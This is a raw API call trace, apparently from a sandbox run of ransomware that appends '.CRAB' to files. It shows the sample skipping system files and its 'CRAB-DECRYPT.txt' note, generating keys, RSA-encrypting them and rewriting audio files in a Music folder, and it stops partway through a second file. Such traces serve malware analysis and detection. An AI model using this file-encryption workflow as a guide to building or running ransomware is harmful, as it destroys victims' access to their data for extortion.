	[0131.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\", lpString2="9443tYbH HAxp5tXYlYN.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3"
	[0131.763] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.763] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3") returned 97
	[0131.764] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3") returned 97
	[0131.764] lstrlenW (lpString=".mp3") returned 4
	[0131.764] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.764] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp3 ") returned 5
	[0131.764] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.764] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3") returned 97
	[0131.764] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3") returned 97
	[0131.764] lstrcmpiW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="desktop.ini") returned -1
	[0131.764] lstrcmpiW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="autorun.inf") returned -1
	[0131.764] lstrcmpiW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="ntuser.dat") returned -1
	[0131.764] lstrcmpiW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="iconcache.db") returned -1
	[0131.764] lstrcmpiW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="bootsect.bak") returned -1
	[0131.764] lstrcmpiW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="boot.ini") returned -1
	[0131.764] lstrcmpiW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="ntuser.dat.log") returned -1
	[0131.764] lstrcmpiW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="thumbs.db") returned -1
	[0131.764] lstrcmpiW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="CRAB-DECRYPT.txt") returned -1
	[0131.764] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.765] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3.CRAB") returned 102
	[0131.765] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\rvjgdnmzd\\9443tybh haxp5txylyn.mp3")) returned 0x20
	[0131.765] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3", dwFileAttributes=0x20) returned 1
	[0131.765] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\rvjgdnmzd\\9443tybh haxp5txylyn.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\rvjgdnmzd\\9443tybh haxp5txylyn.mp3.crab")) returned 1
	[0131.774] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.774] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3.CRAB"
	[0131.775] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3.CRAB.CRAB"
	[0131.775] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0131.826] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.826] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.826] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0131.826] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.826] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.826] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0131.829] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.829] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.829] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.829] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0131.829] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.829] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.830] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.830] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.830] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0131.847] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320df50) returned 1
	[0131.847] CryptGetKeyParam (in: hKey=0x320df50, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.847] CryptEncrypt (in: hKey=0x320df50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0131.847] GetLastError () returned 0x0
	[0131.847] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.847] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6eb78) returned 1
	[0131.850] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320e190) returned 1
	[0131.850] CryptGetKeyParam (in: hKey=0x320e190, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.850] CryptEncrypt (in: hKey=0x320e190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0131.850] GetLastError () returned 0x0
	[0131.850] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0131.850] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\9443tYbH HAxp5tXYlYN.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\rvjgdnmzd\\9443tybh haxp5txylyn.mp3.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0131.851] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.851] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.851] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x15749, lpOverlapped=0x0) returned 1
	[0131.865] VirtualAlloc (lpAddress=0x0, dwSize=0x15750, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.866] VirtualAlloc (lpAddress=0x0, dwSize=0x15750, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0131.869] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.870] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffea8b7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.870] WriteFile (in: hFile=0x3f4, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x15750, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314b464*=0x15750, lpOverlapped=0x0) returned 1
	[0131.870] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.871] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.876] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.876] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.876] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0131.876] CloseHandle (hObject=0x3f4) returned 1
	[0131.876] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.876] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.877] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.877] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.877] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.877] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.877] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0131.878] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0131.878] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0131.878] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\CRAB-DECRYPT.txt"
	[0131.878] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.878] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\CRAB-DECRYPT.txt") returned 89
	[0131.878] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\CRAB-DECRYPT.txt") returned 89
	[0131.878] lstrlenW (lpString=".txt") returned 4
	[0131.878] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.878] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0131.878] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.878] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\CRAB-DECRYPT.txt") returned 89
	[0131.882] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\CRAB-DECRYPT.txt") returned 89
	[0131.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0131.883] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0131.883] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0131.883] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0131.883] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0131.883] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0131.883] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0131.883] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0131.883] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0131.883] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.883] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0131.883] lstrcmpW (lpString1="vDZDyhX2e.m4a", lpString2=".") returned 1
	[0131.883] lstrcmpW (lpString1="vDZDyhX2e.m4a", lpString2="..") returned 1
	[0131.883] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\", lpString2="vDZDyhX2e.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a"
	[0131.883] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.883] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a") returned 86
	[0131.883] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a") returned 86
	[0131.883] lstrlenW (lpString=".m4a") returned 4
	[0131.883] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.884] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0131.884] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.884] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a") returned 86
	[0131.884] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a") returned 86
	[0131.884] lstrcmpiW (lpString1="vDZDyhX2e.m4a", lpString2="desktop.ini") returned 1
	[0131.884] lstrcmpiW (lpString1="vDZDyhX2e.m4a", lpString2="autorun.inf") returned 1
	[0131.884] lstrcmpiW (lpString1="vDZDyhX2e.m4a", lpString2="ntuser.dat") returned 1
	[0131.884] lstrcmpiW (lpString1="vDZDyhX2e.m4a", lpString2="iconcache.db") returned 1
	[0131.884] lstrcmpiW (lpString1="vDZDyhX2e.m4a", lpString2="bootsect.bak") returned 1
	[0131.884] lstrcmpiW (lpString1="vDZDyhX2e.m4a", lpString2="boot.ini") returned 1
	[0131.884] lstrcmpiW (lpString1="vDZDyhX2e.m4a", lpString2="ntuser.dat.log") returned 1
	[0131.884] lstrcmpiW (lpString1="vDZDyhX2e.m4a", lpString2="thumbs.db") returned 1
	[0131.884] lstrcmpiW (lpString1="vDZDyhX2e.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.884] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.885] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a.CRAB") returned 91
	[0131.885] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\rvjgdnmzd\\vdzdyhx2e.m4a")) returned 0x20
	[0131.885] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a", dwFileAttributes=0x20) returned 1
	[0131.885] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\rvjgdnmzd\\vdzdyhx2e.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\rvjgdnmzd\\vdzdyhx2e.m4a.crab")) returned 1
	[0131.889] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.889] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a.CRAB"
	[0131.889] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a.CRAB.CRAB"
	[0131.890] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0131.892] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.893] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.893] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.893] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0131.893] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.893] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.893] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0131.900] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.901] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.901] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.901] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0131.901] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0131.901] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.901] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.901] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.902] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0131.904] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320e490) returned 1
	[0131.905] CryptGetKeyParam (in: hKey=0x320e490, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.905] CryptEncrypt (in: hKey=0x320e490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0131.905] GetLastError () returned 0x0
	[0131.905] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0131.905] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0131.909] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320e4d0) returned 1
	[0131.909] CryptGetKeyParam (in: hKey=0x320e4d0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.909] CryptEncrypt (in: hKey=0x320e4d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0131.909] GetLastError () returned 0x0
	[0131.909] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.909] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\vDZDyhX2e.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\rvjgdnmzd\\vdzdyhx2e.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0131.909] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.910] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
